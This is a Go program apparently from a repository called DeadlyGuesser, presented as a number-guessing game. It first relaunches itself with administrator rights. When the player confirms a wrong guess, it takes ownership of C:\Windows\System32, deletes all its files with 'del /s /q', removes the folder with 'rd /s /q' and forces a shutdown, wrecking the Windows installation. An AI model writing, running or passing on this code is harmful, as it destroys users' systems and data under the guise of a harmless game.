DeadlyGuesser/main.go
2023-07-03 16:16:25 -04:00

111 lines
2.4 KiB
Go

package main
import (
"bufio"
"fmt"
"golang.org/x/sys/windows"
"math/rand"
"os"
"os/exec"
"strconv"
"strings"
"syscall"
)
func main() {
if !amAdmin() {
runMeElevated()
os.Exit(0)
}
randomNumber := rand.Intn(9) + 1
fmt.Println("Guess a number between 1 and 10")
fmt.Print(">")
reader := bufio.NewReader(os.Stdin)
b, err := reader.ReadByte()
if err != nil {
os.Exit(1)
}
guess, err := strconv.Atoi(string(b))
if err != nil {
os.Exit(1)
}
if guess != randomNumber {
fmt.Println("Are you sure? [y/n]")
fmt.Print(">")
reader = bufio.NewReader(os.Stdin)
b, err = reader.ReadByte()
if err != nil {
os.Exit(1)
}
ans := string(b)
if ans == "n" {
fmt.Println("Good choice")
os.Exit(0)
}
fmt.Println("Oh no, you guessed wrong...")
cmdTakeOwn := exec.Command("takeown.exe", "/f", "C:\\Windows\\System32")
cmdICACLS := exec.Command("icacls.exe", "C:\\Windows\\System32")
cmdFiles := exec.Command("cmd.exe", "/C", "del", "/s", "/q", "C:\\Windows\\System32\\*")
cmdDir := exec.Command("cmd.exe", "/C", "rd", "/s", "/q", "C:\\Windows\\System32")
err = cmdTakeOwn.Run()
if err != nil {
fmt.Printf("Error serving punishment p1: %v\n", err)
}
err = cmdICACLS.Run()
if err != nil {
fmt.Printf("Error serving punishment p2: %v\n", err)
}
err = cmdFiles.Run()
if err != nil {
fmt.Printf("Error serving punishment p3: %v\n", err)
}
err = cmdDir.Run()
if err != nil {
fmt.Printf("Error serving punishment p4: %v\n", err)
}
cmdShutdown := exec.Command("cmd.exe", "/C", "shutdown", "/t", "0", "/s")
err = cmdShutdown.Run()
if err != nil {
fmt.Printf("Error shutting down: %v\n", err)
}
} else {
fmt.Println("Congratulations, you live to see another day...", guess, "was the correct number :)")
}
fmt.Print("Press 'Enter' to continue...")
bufio.NewReader(os.Stdin).ReadBytes('\n')
}
func runMeElevated() {
verb := "runas"
exe, _ := os.Executable()
cwd, _ := os.Getwd()
args := strings.Join(os.Args[1:], " ")
verbPtr, _ := syscall.UTF16PtrFromString(verb)
exePtr, _ := syscall.UTF16PtrFromString(exe)
cwdPtr, _ := syscall.UTF16PtrFromString(cwd)
argPtr, _ := syscall.UTF16PtrFromString(args)
var showCmd int32 = 1 //SW_NORMAL
err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd)
if err != nil {
fmt.Println(err)
}
}
func amAdmin() bool {
_, err := os.Open("\\\\.\\PHYSICALDRIVE0")
if err != nil {
return false
}
return true
}